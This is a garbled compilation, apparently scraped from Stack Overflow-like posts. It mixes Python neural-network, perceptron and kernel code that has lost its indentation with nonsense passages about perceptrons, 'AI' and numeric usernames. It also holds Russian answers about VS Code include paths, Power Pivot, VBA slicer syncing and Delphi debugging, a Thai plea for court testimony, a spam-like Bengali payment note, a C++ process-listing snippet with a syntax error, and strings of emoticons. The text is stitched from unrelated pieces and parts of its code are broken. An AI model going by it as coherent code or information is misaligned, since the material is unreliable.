#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
x=X[i]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print(classify(x, v1, v2, w))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# feedforward
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
zs = []
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for j in range(num_hidden):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
v = vs[j]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
zs.append(np.tanh(v[0] + np.dot(x, v[1:])))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print()
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print(i)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print(zs)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
s = -w[0]-np.dot(w[1:], zs)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
y = 1./(1+np.exp(s))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
y = np.clip(y, 1e-10, 1-1e-10)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print(y)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# backward
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
y_error = (1-t[i])*y - t[i]*(1-y)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
total_error -= (1-t[i])*np.log(1-y) + t[i]*np.log(y)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print(y_error)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
z_errors = []
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for j in range(num_hidden):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
z_errors.append(y_error*w[j+1]*(1-zs[j])*(1+zs[j]))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print(z_errors)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# update weights
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
w[0] = w[0] - lr*y_error*1 - lr*alpha*w[0]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for j in range(num_hidden):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
w[j+1] = w[j+1] - lr*y_error*zs[j] - lr*alpha*w[j+1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
v = vs[j]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
v[0] = v[0] - lr*z_errors[j]*1 - lr*alpha*v[0]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
v[1] = v[1] - lr*z_errors[j]*x[0] - lr*alpha*v[1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
v[2] = v[2] - lr*z_errors[j]*x[1] - lr*alpha*v[2]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
except RuntimeWarning:
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
print(i)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
print(y_error)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
print(zs)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
print("TE: \t%0.3f" %total_error)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
nx = ny = 50
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
x_min = y_min = 0
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
x_max = y_max = 5
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
xx, yy = np.meshgrid(np.linspace(x_min, x_max, nx), np.linspace(y_min, y_max, ny))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
D=np.c_[xx.ravel(), yy.ravel()]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
p=[classify2(d, vs, w) for d in D]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
p=np.array(p)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
p=p.reshape(xx.shape)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
X=Dp
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for i in range(len(X)):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if t[i] == 1:
plt.plot(X[i][0], X[i][1], 'o', color='blue', markersize=8)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
else:
plt.plot(X[i][0], X[i][1], 'o', color='red', markersize=8)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
plt.pcolormesh(xx, yy, p, cmap='red_blue_classes',
norm=colors.Normalize(0., 1.))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
plt.contour(xx, yy, p, [0.5], linewidths=2., colors='k')
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
classify2([2.5, 2.5], vs, w)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
classify2([0, 0], vs, w)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
classify2([5, 5], vs, w)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
vs = [[-1.4395892690558445, -0.6994640575516157, 2.4763238083720416],
[-5.832152599201117, 1.2801824017482004, 0.5347291187258975],
[1.0461615987520945, -3.683980121271858, 2.024501795098323],
[0.35189345674770495, 1.577772129315875, 1.1894009103278471]]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
w = [-5.266158175713795,
4.933742705326487,
-5.537202130283304,
-5.736361194605192,
-4.393480175813042]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#OR
plt.plot([-1], [-1], 'o', color='red', markersize=20)
plt.plot([-1], [1], 'o', color='blue', markersize=20)
plt.plot([1], [-1], 'o', color='blue', markersize=20)
plt.plot([1], [1], 'o', color='blue', markersize=20)
w=[1, 1, 1]
p=np.array([perceptron(w, d) for d in D])
p=p.reshape(xx.shape)
plt.pcolormesh(xx, yy, p, cmap='red_blue_classes',
norm=colors.Normalize(0., 1.))
plt.contour(xx, yy, p, [0.5], linewidths=2., colors='k')
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# XOR
X = np.array([[-1, -1], [-1, 1], [1, -1], [1, 1]])
y = [1, -1, -1, 1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# AND
X = np.array([[-1, -1], [-1, 1], [1, -1], [1, 1]])
y = [-1, -1, -1, 1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def solve_for_w(X, y):
ni, nf = X.shape
w=np.zeros(nf+1)
max_iter = 2
lr = 1
for it in range(max_iter):
print("\nIteration", it)
print("Weights", w)
for obj in range(ni):
print("Object %s, label: %d" %(X[obj], y[obj]))
p = perceptron(w, X[obj])
print("Prediction", p)
if p == y[obj]:
print("Prediction is correct")
else:
print("*Prediction is incorrect*")
delta_weights = np.append(lr*y[obj], lr*X[obj]*y[obj])
print("Delta", delta_weights)
w += delta_weights
print("New weights", w)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
r_noisy = r_tr+rg.normal(loc=11, scale=11, size=len(r_tr))
pf = PolynomialFeatures(degree=11)
X_tr=pf.fit_transform(D_tr)
A=construct_A(X_tr)
b=construct_b(X_tr, r_noisy)
w=np.squeeze(np.asarray(A.I*b.T))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def f(x):
return 1 + 2*x
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def likelihood(counts, probs):
return np.product([np.power(probs[i],counts[i]) for i in range(len(counts))])
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def kernel_matrix(X, kf):
ns, nf = X.shape
km = np.zeros((ns, ns))
for i in range(ns):
for j in range(ns):
km[i, j] = kf(X[i], X[j])
return km
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def tanh_kernel(x1, x2):
return np.tanh(2*np.dot(x1, x2)+1)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def radial_basis_kernel(x1, x2, s):
return np.exp(-1*(np.dot(x1-x2, x1-x2)/(2*(s**2))))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def poly_kernel(x1, x2, d=2):
return (np.dot(x1, x2)+1)**d
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def linear_kernel(x1, x2):
return np.dot(x1, x2)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def compute_b(X, y, alphas, kf):
sv_inds = np.arange(len(y))[alphas > 1e-5]
b=0
for i in sv_inds:
b += (y[i] - classify(X, y, alphas, 0, kf, X[i]))
return b / len(sv_inds)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def construct_A(X):
A=[]
for i in range(X.shape[1]):
row = []
for j in range(X.shape[1]):
s = 0
for d in X:
s += d[i]*d[j]
row.append(s)
A.append(row)
return np.matrix(A)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def classify(x, v1, v2, w):
z1 = np.tanh(v1[0]+np.dot(x, v1[1:]))
#print(z1)
z2 = np.tanh(v2[0]+np.dot(x, v2[1:]))
#print(z2)
y = 1./(1+np.exp(-w[0]-np.dot(w[1:], [z1, z2])))
return y
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Perceptron, perspective, perception is $ = 0 = b + x ^.*.^ m = y = z = y = m ^.*.^ x + b = 0 = $ each and everyone of our own asserting understanding the classifying the cases possible pre-invested pre-saved pre-hashed pre-refreshed pre-capacitified pre-capablized definitely all executed if.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Codename, username, name: 99999999999, 88888888888, 77777777777, 66666666666, 55555555555, 44444444444, 33333333333, 22222222222, 11111111111, 00000000000, -11111111111, -22222222222, -33333333333, -44444444444, -55555555555, -66666666666, -77777777777, -88888888888, -99999999999. Manhattanmn, import Khash. K. Otgon. as in Hashaa.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
AI is a 0. symbol, 1. document, 2. thesis, 3. essay, 4. letter. 5. article, 6. paragraph 7. sentence 8. name. 9. word 10. color 11. character 12. pixel.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Unpacked. Uniterated. Uncased.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
True code, source code, original code is 50.01%, spinor, quaternion, tensor, matrix, vector, scalar.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Pre-share, Pre-comment, Pre-dislike, Pre-like, Pre-Loyallove, Pre-report, Pre-stop-ads, Pre-download, Pre-clip, Like, Pre-Thanks, Pre-save, Pre-watchlater, Follow, Subscribe, Time /|\ Goldeny Whitey Ultraviolety Darkey Greeny Yellowy Bluey Purpley Pinky Browny Redy Orangey
хз2хз2х2зхз2хз2хз2хз2хз2хз2хз2хз2хз2
хзхзхзхзхзхзхзхзхзхзхзхзхзхзхзхзхзхзхзхзхзх
`
your text
` | Column A | Column B |
---|---|---|
Cell 1 | Cell 2 | |
Cell 3 | Cell 4 | |
Column A | Column B | |
-------- | -------- | |
Cell 1 | Cell 2 | |
Cell 3 | Cell 4 |
Вот возможное решение для тех у кого Windows, внимательно читайте какие папки или заголовочные файла не видит, ищите их и добавляйте, я решил именно так
"name": "Win32",
"includePath": [
"${default}",
"C:/msys64/ucrt64/include/gtk-4.0",
"C:/msys64/ucrt64/include/pango-1.0",
"C:/msys64/ucrt64/include/fribidi",
"C:/msys64/ucrt64/include/harfbuzz",
"C:/msys64/ucrt64/include/gdk-pixbuf-2.0",
"C:/msys64/ucrt64/include/cairo",
"C:/msys64/ucrt64/include/freetype2",
"C:/msys64/ucrt64/include/libpng16",
"C:/msys64/ucrt64/include/pixman-1",
"C:/msys64/ucrt64/include/graphene-1.0",
"C:/msys64/ucrt64/include/glib-2.0",
"C:/msys64/ucrt64/lib/glib-2.0/include",
"C:/msys64/ucrt64/include/graphene-1.0",
"C:/msys64/ucrt64/lib/graphene-1.0/include"
],
Так происходит, когда вы загружаете таблицу в Power Pivot из Power Query, а затем переименовываете запрос в Power Query. При передаче таблиц из Query в Pivot автоматически создаются подключения. Их можно у видеть там же, где и подключения к внешним данным. Когда вы переименовываете запрос в Query и затем снова загружаете таблицу в Pivot, создается новое подключение с новым именем, но старое не удаляется автоматически, именно оно и не дает удалить старую таблицу из Pivot. Чтобы легко удалить таблицу из Power Pivot, нужно сначала удалить ее подключение из списка подключений (на вкладке Данные).
i need help please bomboclats......................
У меня было три таблицы по первой сделан срез
В меню макросов в листе вставлен код по отслеживанию изменений на листе в срезе и потом если изменения есть запускается процедура по приведению других таблиц к срезу в первой
' Флаг для предотвращения рекурсии
Private IsSyncing As Boolean
' Переменная для хранения предыдущего состояния среза
Private previousSelectedValues As String
Private Sub Worksheet_Calculate()
' ЭТОТ КОД ДОЛЖЕН БЫТЬ В МОДУЛЕ ЛИСТА
Dim sc As SlicerCache
Set sc = ThisWorkbook.SlicerCaches("Срез_РЦ") ' Укажите имя вашего кэша
If sc Is Nothing Then Exit Sub
' Получаем текущие выбранные значения
Dim currentSelectedValues As String
currentSelectedValues = GetSelectedSlicerItems(sc)
' Сравниваем с предыдущим состоянием
If currentSelectedValues <> previousSelectedValues Then
previousSelectedValues = currentSelectedValues
' Запускаем синхронизацию фильтров
If Not IsSyncing Then
IsSyncing = True
СинхронизироватьФильтры
IsSyncing = False
End If
End If
End Sub
Function GetSelectedSlicerItems(sc As SlicerCache) As String
Dim result As String
Dim si As SlicerItem
For Each si In sc.SlicerItems
If si.Selected Then
result = result & si.Value & vbCrLf
End If
Next si
GetSelectedSlicerItems = result
End Function
и потом с помощью процедуры в модуле вставлен код приведения срезов талбицы
' Этот код должен быть в ОБЫЧНОМ МОДУЛЕ (например, Module1)
Sub СинхронизироватьФильтры()
' Эта процедура отображается в списке макросов (Alt + F8)
Dim sc As SlicerCache
Set sc = ThisWorkbook.SlicerCaches("Срез_РЦ") ' Укажите имя кэша среза
If Not sc Is Nothing Then
' Собираем выбранные элементы
Dim selectedItems As Collection
Set selectedItems = New Collection
Dim si As SlicerItem
For Each si In sc.SlicerItems
If si.Selected Then selectedItems.Add si.Value
Next si
' Применяем фильтры к таблицам
ApplyFilterToTable "План", "РЦ", selectedItems
ApplyFilterToTable "Выполнение", "РЦ", selectedItems
'MsgBox "Фильтры синхронизированы!", vbInformation
Else
MsgBox "Срез не найден!", vbExclamation
End If
End Sub
Sub ApplyFilterToTable(tableName As String, field As String, items As Collection)
' Процедура для фильтрации таблиц
Dim ws As Worksheet
Set ws = ThisWorkbook.Sheets("Показатели запрос") ' Укажите имя листа
Dim lo As ListObject
Set lo = ws.ListObjects(tableName)
' Находим индекс столбца
Dim colIndex As Integer
colIndex = lo.ListColumns(field).Index
' Снимаем текущий фильтр
On Error Resume Next
lo.Range.AutoFilter field:=colIndex
On Error GoTo 0
' Применяем новый фильтр
If items.Count > 0 Then
Dim criteria() As String
ReDim criteria(1 To items.Count)
Dim i As Integer
For i = 1 To items.Count
criteria(i) = CStr(items(i))
Next i
' Используем константу 7 (xlFilterValues для русской версии)
lo.Range.AutoFilter _
field:=colIndex, _
Criteria1:=criteria, _
Operator:=7
End If
End Sub
Вы можете использовать бесплатный компонент TJvComputerInfoEx.
В нём много детальной информации по каждому параметру компьютера.
В вашем случае: CPU / Name
Ответы на ваши вопросы:
I. Точки останова помечаются серым когда не доступна информация о точке останова. Компилятор должен сгенерировать необходимую информацию для отладчика. Для этого:
Необходимо в настройках проекта включить генерацию этой отладочной информации: Project options/Building/Delphi Compiler/Linking/Debug information.
Включить Projects/Your Project/Build Configurations/Debug.
Необходимо построить заново проект: Projects/Your Project/Build.
Создадутся файлы *.rsm.
Теперь можно отлаживать.
Директивы условной компиляции надо проверить - они могут отключать часть или весь файл из генерации информации для отладчика {$D-}.
II. Процедура проста: нет информации - нет и точки останова.
III. У вас не будет точек останова серым цветом.
PS. Необходимо построить проект с включенной опцией добавки отладочной информации. Сама она не добавится! Только после этого проект полностью будет готов к отладке.
При создании готового проекта отладочная информация удаляется из него (режим Release).
ช่วยเป็นพยานในชั้นศาลของสหราชอณาจักร และ ศาลสหภาพยุโรปและศาลรัฐบาลกลางสหรัฐอเมริกา ว่ามีการปลอมแปลงและเปลี่ยนแปลงข้อมูลในการส่งและรับของระบบต่างๆในการเข้าใช้บัญชีภายใต้ชื่อ(นาย อนุรักษ์ ศรีจันทรา)ด้วยครับ "องค์กรสเเต็ค"ขอบพระคุณอย่างสูงครับ
Did you find a solution ??I am doing the same thing and i really can't wrap around my head of how to do it ..................1127£77_7_+_+_+_+_+_++_+_++#(#!"++"+£+£+£+£+"+_++"+_+_+_+_++_+_!_+_!_+_!_!_!_+
Есть ли какие-либо оговорки относительно конечной точки временной шкалы, о которых мне следует знать?
Будет ли проверка /questions/{id}?filter=!BhNhTkF7J7vS1yZYE0 и сравнение last_activity_date более надежными?
Yes you right
Stack Overflow (новые ответы/комментарии) и мне нужен наиболее эффективный способ обнаружения любых изменений с момента последней проверки. Я использую конечную точку /questions/{id}/timeline с этими параметрами
[today Best Photo][1] 2025 টাকা পাঠানোর পর আপনার যে নাম্বারে টাকা পাঠিয়েছেন সেই নাম্বারে লাস্ট ডিজিট লিখে দিয়েন [1]: https://i.sstatic.net/KKU27rGy.jpg
//-------------------------------------------------
// COMPILE WITH VS: cl /EHsc PrintProcess.cpp Advapi32.lib
//-------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
void PrintProcessNameAndID( DWORD processID )
{
TCHAR szProcessName\[MAX_PATH\] = TEXT("\<unknown\>");
// Get a handle to the process.
HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, processID );
if (NULL == hProcess ) return;
HMODULE hMod;
DWORD cbNeeded;
if( !EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) ) return;
// Get the process name.
GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR) );
// Print the process name and identifier.
\_tprintf( TEXT("%s (PID: %u)\\n"), szProcessName, processID );
// Release the handle to the process.
CloseHandle( hProcess );
}
//-------------------------------------------------------------------
void KillProcess(int MemorySize, DWORD processID)
{
if(MemorySize\<1024)
{
//How to kill the process here??
}
}
//-------------------------------------------------------------------
int main( void )
{
// Get the list of process identifiers.
DWORD aProcesses\[1024\], cbNeeded, cProcesses;
unsigned int i;
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) ) return 1;
// Calculate how many process identifiers were returned.
cProcesses = cbNeeded / sizeof(DWORD);
// Print the name and process identifier for each process.
for ( i = 0; i \< cProcesses; i++ )
{
if( aProcesses\[i\] != 0 )
{
PrintProcessNameAndID( aProcesses\[i\] );
//How to get the allocated Memory here??
KillProcess(MemorySize, aProcesses\[i\]);
}
}
system("Pause");
return 999,
}
//-------------------------------------------------------------------
(✪‿✪) (◉‿◉) (。◕‿◕。) (◠‿◕) (^_^)/ (. ❛ ᴗ ❛.) U^ェ^U (. ❛ ᴗ ❛.) o(╥﹏╥)o (. ❛ ᴗ ❛.) (◔‿◔) U^ェ^U ʕ´•ᴥ•ʔ ʕ´•ᴥ•
ʔ (ง'-̀̀'́)ง U^ェ^U ʕ´•ᴥ•ʔ U^ェ^U (ฅ´ω
ฅ) U^ェ^U U^ェ^U (ฅ´ωฅ) U^ェ^U (ฅ´ω
